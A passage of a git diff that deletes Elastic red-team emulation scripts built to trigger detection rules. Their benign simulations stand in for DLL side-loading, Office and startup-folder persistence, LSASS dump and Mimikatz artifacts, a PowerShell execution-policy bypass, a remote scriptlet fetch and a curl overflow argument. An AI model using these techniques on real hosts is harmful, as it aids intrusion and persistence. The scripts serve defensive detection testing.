License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1f0afcd1-e091-4489-a750-5b0b44e69e45", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '053a0387-f3b5-4ba5-8245-8002cca2bd08', - 'rule_name': 'Potential DLL Side-Loading via Microsoft Antimalware Service Executable' - }], - techniques=['T1574', 'T1574.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msmpeng = "C:\\Users\\Public\\MsMpEng.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, msmpeng) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, msmpeng, "--set-version-string", "OriginalFilename", "MsMpEng.exe"]) - - common.execute([msmpeng], timeout=2, kill=True) - - common.remove_files(rcedit, msmpeng) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_vs_prebuildevent.py b/rta/exec_vs_prebuildevent.py deleted file mode 100644 index b54a019e1..000000000 --- a/rta/exec_vs_prebuildevent.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c4445d28-fe0f-4822-b0b0-92e188a9ca0e", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '74be6307-2d15-4c71-8072-fc606f337a51', - 'rule_name': 'Execution via MS VisualStudio Pre/Post Build Events' - }, - {'rule_id': '16c84e67-e5e7-44ff-aefa-4d771bcafc0c', 'rule_name': 'Execution from Unusual Directory'}, - {'rule_id': '35dedf0c-8db6-4d70-b2dc-a133b808211f', 'rule_name': 'Binary Masquerading via Untrusted Path'} - ], - siem=[], - techniques=['T1127', 'T1127.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msbuild = "C:\\Users\\Public\\msbuild.exe" - cmd = "C:\\Users\\Public\\cmd.exe" - common.copy_file(EXE_FILE, cmd) - common.copy_file(EXE_FILE, msbuild) - - common.execute([msbuild, "/c", cmd, "/c", cmd, "echo C:\\Users\\A\\AppData\\Local\\Temp\\tmpa.exec.cmd"], - timeout=10, kill=True) - common.remove_files(cmd, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_vsls_agent.py b/rta/exec_vsls_agent.py deleted file mode 100644 index 91800054d..000000000 --- a/rta/exec_vsls_agent.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ad0986cb-b5ef-41ad-9b40-8d708dc28844", - platforms=["windows"], - endpoint=[ - { - 'rule_id': 'a5416b1f-fc3f-4162-936d-34086689c3b0', - 'rule_name': 'DLL Execution via Visual Studio Live Share' - } - ], - siem=[], - techniques=['T1218'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - vslsagent = "C:\\Users\\Public\\vsls-agent.exe" - common.copy_file(EXE_FILE, vslsagent) - - common.execute([vslsagent, "/c", "echo", "--agentExtensionPath"], timeout=5, kill=True) - common.remove_files(vslsagent) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_winword_susp_parent.py b/rta/exec_winword_susp_parent.py deleted file mode 100644 index 41d4d2a82..000000000 --- a/rta/exec_winword_susp_parent.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="65c661e6-7a15-45c0-97ad-0635eda560ba", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Execution via Microsoft Office Add-Ins", - "rule_id": "9efd977a-6d4a-4cc8-8ab3-355587b0ef69", - } - ], - siem=[], - techniques=["T1137", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - winword = "C:\\Users\\Public\\winword.exe" - common.copy_file(EXE_FILE, winword) - - # Execute command - common.execute([powershell, "/c", winword, "/c", "echo", "doc.wll"], timeout=5, kill=True) - common.remove_file(winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/execution_iso_dll_rundll32.py b/rta/execution_iso_dll_rundll32.py deleted file mode 100644 index 23049f43a..000000000 --- a/rta/execution_iso_dll_rundll32.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="8bd17f51-3fc0-46a8-9e1a-662723314ad4", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "779b9502-7912-4773-95a1-51cd702a71c8", "rule_name": "Suspicious ImageLoad from an ISO Mounted Device"}, - {"rule_id": "08fba401-b76f-4c7b-9a88-4f3b17fe00c1", "rule_name": "DLL Loaded from an Archive File"}], - techniques=["T1574", "T1574.002"], -) - -# iso contains shortcut to start Rundll32 to load a testing DLL that when executed it will spawn notepad.exe -ISO = common.get_path("bin", "lnk_from_iso_rundll.iso") -# shortcut name -PROC = 'Invite.lnk' - -# ps script to mount, execute a file and unmount ISO device -PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") - -@common.requires_os(*metadata.platforms) - -def main(): - if Path(ISO).is_file() and Path(PS_SCRIPT).is_file(): - print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') - - # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute - command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};" - common.execute(command) - - # terminate notepad.exe spawned as a result of the DLL execution - common.execute(["taskkill", "/f", "/im", "notepad.exe"]) - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/execution_iso_dll_sideload.py b/rta/execution_iso_dll_sideload.py deleted file mode 100644 index f60c1875a..000000000 --- a/rta/execution_iso_dll_sideload.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ba802fb2-f183-420e-947b-da5ce0c74d123", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "ba802fb2-f183-420e-947b-da5ce0c74dd3", "rule_name": "Potential DLL SideLoad via a Microsoft Signed Binary"}], - techniques=["T1574", "T1574.002"], -) - -# iso contains WerFault.exe and a testing faultrep.dll to be sideloaded -ISO = common.get_path("bin", "werfault_iso.iso") -PROC = 'WER_RTA.exe' - -# ps script to mount, execute a file and unmount ISO device -PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") - -@common.requires_os(*metadata.platforms) - -def main(): - if Path(ISO).is_file() and Path(PS_SCRIPT).is_file(): - print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') - - # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute - command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};" - common.execute(command) - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/execution_linux_curl_cve_2023_38545.py b/rta/execution_linux_curl_cve_2023_38545.py deleted file mode 100644 index 5c5c38501..000000000 --- a/rta/execution_linux_curl_cve_2023_38545.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6a5977f6-ed19-446e-a441-e325cff7772b", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential curl CVE-2023-38545 Exploitation", - "rule_id": "0c188a15-30f5-445c-8655-95c7f93ace88", - }, - ], - siem=[ - { - "rule_name": "Potential curl CVE-2023-38545 Exploitation", - "rule_id": "f41296b4-9975-44d6-9486-514c6f635b2d", - }, - ], - techniques=["T1203"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/curl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" - - # Execute command - common.log("Launching fake command to simulate a buffer overflow") - common.execute([masquerade, "--proxy", payload], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/execution_node_child_process.py b/rta/execution_node_child_process.py deleted file mode 100644 index c63afdb2e..000000000 --- a/rta/execution_node_child_process.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="20631e46-d3c4-45c0-bfa8-37f6b287db36", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Execution via Electron Child Process Node.js Module", - "rule_id": "1d43f87d-2466-4714-8fef-d52816cc25fb", - } - ], - siem=[ - { - "rule_name": "Execution via Electron Child Process Node.js Module", - "rule_id": "35330ba2-c859-4c98-8b7f-c19159ea0e58", - } - ], - techniques=["T1548", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/node" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Spawning fake node commands to mimic Electon child process.") - common.execute( - [masquerade, "-e", "const { fork } = require('child_process');"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/execution_pubprn.py b/rta/execution_pubprn.py deleted file mode 100644 index c041391ec..000000000 --- a/rta/execution_pubprn.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8b5119a5-9f78-492a-8448-ff726b0e0b4f", - platforms=["windows"], - endpoint=[ - {"rule_name": "Scriptlet Proxy Execution via PubPrn", "rule_id": "0d4454a7-c682-4085-995c-300973c5bdea"}, - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - ], - siem=[], - techniques=["T1216", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, cscript) - - cmd = "127.0.0.1 script:https://domain.com/folder/file.sct" - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute( - [rcedit, cscript, "--set-version-string", "OriginalFileName", "cscript.exe"], - timeout=10, - ) - common.execute([cscript, "/c", "echo", cmd], timeout=5, kill=True) - - common.remove_files(cscript, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/extexport_sideload.py b/rta/extexport_sideload.py deleted file mode 100644 index e75dc77e3..000000000 --- a/rta/extexport_sideload.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bbbfc3e3-e1ba-45ad-9d30-cbbe115a0c6c", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution via Internet Explorer Exporter", "rule_id": "e13a65b7-f46f-4c7f-85cf-7e59170071fa"}, - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - ], - siem=[], - techniques=["T1218"], -) - -RENAMER = common.get_path("bin", "rcedit-x64.exe") -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - dll = "C:\\Users\\Public\\sqlite3.dll" - posh = "C:\\Users\\Public\\posh.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, dll) - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, posh) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, posh, "--set-version-string", "OriginalFilename", "extexport.exe"]) - - common.log("Executing modified binary with extexport.exe original file name") - common.execute([posh], timeout=10, kill=True) - - common.remove_files(dll, posh, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_ads_creation.py b/rta/file_ads_creation.py deleted file mode 100644 index 54c65ab6b..000000000 --- a/rta/file_ads_creation.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ffddb3f7-75ac-49e8-9042-ae1bf5c199e8", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '71bccb61-e19b-452f-b104-79a60e546a95', - 'rule_name': 'Unusual File Creation - Alternate Data Stream' - }], - techniques=['T1564', 'T1564.004'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - exe = "C:\\Users\\Public\\a.exe" - common.copy_file(EXE_FILE, exe) - - # Execute command - common.execute([powershell, "/c", f"Set-Content -Stream RtaTest -value Heyo -Path {exe}"], timeout=10) - common.remove_files(exe) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_dpapi_key.py b/rta/file_create_dpapi_key.py deleted file mode 100644 index 96820d337..000000000 --- a/rta/file_create_dpapi_key.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="146cf978-05f2-4492-843c-46626651db89", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'b83a7e96-2eb3-4edf-8346-427b6858d3bd', - 'rule_name': 'Creation or Modification of Domain Backup DPAPI private key' - }], - techniques=['T1552', 'T1552.004', 'T1555'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - fake_dpapi = "C:\\Users\\Public\\ntds_capi_test.pfx" - - # Execute command - common.execute([powershell, "/c", f"echo AAAAAAAAAA | Out-File {fake_dpapi}"], timeout=10) - common.remove_files(fake_dpapi) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_exchange_um.py b/rta/file_create_exchange_um.py deleted file mode 100644 index cb0c9f16a..000000000 --- a/rta/file_create_exchange_um.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="29eb99a6-14cc-4d37-81dd-c2e78cda8c74", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '6cd1779c-560f-4b68-a8f1-11009b27fe63', - 'rule_name': 'Microsoft Exchange Server UM Writing Suspicious Files' - }], - techniques=['T1190'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\UMWorkerProcess.exe" - path = "C:\\Users\\Public\\Microsoft\\Exchange Server Test\\FrontEnd\\HttpProxy\\owa\\auth\\" - argpath = "C:\\Users\\Public\\Microsoft\\'Exchange Server Test'\\FrontEnd\\HttpProxy\\owa\\auth\\" - common.copy_file(EXE_FILE, proc) - Path(path).mkdir(parents=True, exist_ok=True) - file = argpath + "\\shell.php" - - common.execute([proc, "/c", f"echo AAAAAAAA | Out-File {file}"], timeout=10, kill=True) - common.remove_files(proc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_exec_pdf_reader.py b/rta/file_create_exec_pdf_reader.py deleted file mode 100644 index 59773ef1c..000000000 --- a/rta/file_create_exec_pdf_reader.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="571e229f-fb92-48cf-b0fb-dd9630b1580f", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '1defdd62-cd8d-426e-a246-81a37751bb2b', - 'rule_name': 'Execution of File Written or Modified by PDF Reader' - }], - techniques=['T1566', 'T1566.001', 'T1566.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rdrcef = "C:\\Users\\Public\\rdrcef.exe" - arp = "C:\\Users\\Public\\arp.exe" - temp = "C:\\Users\\Public\\temp.exe" - common.copy_file(EXE_FILE, rdrcef) - common.copy_file(EXE_FILE, arp) - - # Execute command - common.execute([rdrcef, "/c", "Copy-Item", arp, temp], timeout=5) - common.execute([temp], timeout=5, kill=True) - common.remove_files(rdrcef, arp, temp) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_lsass_dump.py b/rta/file_create_lsass_dump.py deleted file mode 100644 index a7d893760..000000000 --- a/rta/file_create_lsass_dump.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a330f58c-c808-45d9-b8be-9c2054285c08", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'f2f46686-6f3c-4724-bd7d-24e31c70f98f', 'rule_name': 'LSASS Memory Dump Creation'}], - techniques=['T1003', 'T1003.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - fake_dmp = "C:\\Users\\Public\\lsass_test.dmp" - - # Execute command - common.execute([powershell, "/c", f"echo AAAAAAAAAA | Out-File {fake_dmp}"], timeout=5) - common.remove_file(fake_dmp) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_mimilsa_log.py b/rta/file_create_mimilsa_log.py deleted file mode 100644 index ec6201d66..000000000 --- a/rta/file_create_mimilsa_log.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4b23eaa2-aa73-43ee-9c10-47ecf01e00aa", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'ebb200e8-adf0-43f8-a0bb-4ee5b5d852c6', - 'rule_name': 'Mimikatz Memssp Log File Detected' - }], - techniques=['T1003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - lsass = "C:\\Users\\Public\\lsass.exe" - fake_log = "C:\\Users\\Public\\mimilsa.log" - common.copy_file(EXE_FILE, lsass) - - # Execute command - common.execute([lsass, "/c", f"echo AAAAAAAAAAAA | Out-File {fake_log}"], timeout=10) - common.remove_files(fake_log, lsass) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_ms_addins.py b/rta/file_create_ms_addins.py deleted file mode 100644 index 1d6bdf97e..000000000 --- a/rta/file_create_ms_addins.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5432792c-d31a-42cc-a82f-0884ea230493", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'f44fa4b6-524c-4e87-8d9e-a32599e4fb7c', 'rule_name': 'Persistence via Microsoft Office AddIns'}], - techniques=['T1137'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\\\AppData\\Roaming\\Microsoft\\Word\\Startup" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\file.xll" - common.copy_file(EXE_FILE, file) - - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_mstsc_startup.py b/rta/file_create_mstsc_startup.py deleted file mode 100644 index f7371f462..000000000 --- a/rta/file_create_mstsc_startup.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -from pathlib import Path - -metadata = RtaMetadata( - uuid="55750f93-0545-4222-a1fe-8b25a1c736f0", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '25224a80-5a4a-4b8a-991e-6ab390465c4f', 'rule_name': 'Lateral Movement via Startup Folder'}], - techniques=['T1021', 'T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - mstsc = "C:\\Users\\Public\\mstsc.exe" - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" - argpath = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup" - common.copy_file(EXE_FILE, mstsc) - Path(path).mkdir(parents=True, exist_ok=True) - file = argpath + "\\file.exe" - - common.execute([mstsc, "/c", f"echo AAAAAAAA | Out-File {file}"], timeout=10, kill=True) - common.remove_files(mstsc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_outlook_vba.py b/rta/file_create_outlook_vba.py deleted file mode 100644 index 851ca871b..000000000 --- a/rta/file_create_outlook_vba.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="3c40b5fd-afd0-4794-8af3-f7af249edf84", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '397945f3-d39a-4e6f-8bcb-9656c2031438', 'rule_name': 'Persistence via Microsoft Outlook VBA'}], - techniques=['T1137'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Outlook" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\VbaProject.OTM" - common.copy_file(EXE_FILE, file) - - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_powershell_profile.py b/rta/file_create_powershell_profile.py deleted file mode 100644 index 670420700..000000000 --- a/rta/file_create_powershell_profile.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1bc32d6d-c5c9-43c6-bada-6d26469b5dac", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '5cf6397e-eb91-4f31-8951-9f0eaa755a31', 'rule_name': 'Persistence via PowerShell profile'}], - techniques=['T1546', 'T1546.013'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\Documents\\WindowsPowerShell" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\profile.ps1" - common.copy_file(EXE_FILE, file) - - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_scripting_startup.py b/rta/file_create_scripting_startup.py deleted file mode 100644 index 488ce62e9..000000000 --- a/rta/file_create_scripting_startup.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e56f77bc-d9a7-4e02-97e2-b3056f3d4171", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '440e2db4-bc7f-4c96-a068-65b78da59bde', - 'rule_name': 'Startup Persistence by a Suspicious Process' - }], - techniques=['T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" - argpath = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup" - Path(path).mkdir(parents=True, exist_ok=True) - file = argpath + "\\file.exe" - - common.execute([powershell, "/c", f"echo AAAAAAAA | Out-File {file}"], timeout=10, kill=True) - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_smss_exec.py b/rta/file_create_smss_exec.py deleted file mode 100644 index ce835d50e..000000000 --- a/rta/file_create_smss_exec.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4aa10c2d-3839-4ed3-8ca6-a88fdd32bdef", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'e94262f2-c1e9-4d3f-a907-aeab16712e1a', - 'rule_name': 'Unusual Executable File Creation by a System Critical Process' - }], - techniques=['T1211'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - smss = "C:\\Users\\Public\\smss.exe" - fake_exe = "C:\\Users\\Public\\a.exe" - common.copy_file(EXE_FILE, smss) - - # Execute command - common.execute([smss, "/c", f"echo AAAAAAAAAA | Out-File {fake_exe}"], timeout=10) - common.remove_files(fake_exe, smss) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_task_file.py b/rta/file_create_task_file.py deleted file mode 100644 index 19a0f75eb..000000000 --- a/rta/file_create_task_file.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="2e5d3ddd-6dc4-4ebf-93e3-c32698b8df40", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '1327384f-00f3-44d5-9a8c-2373ba071e92', 'rule_name': 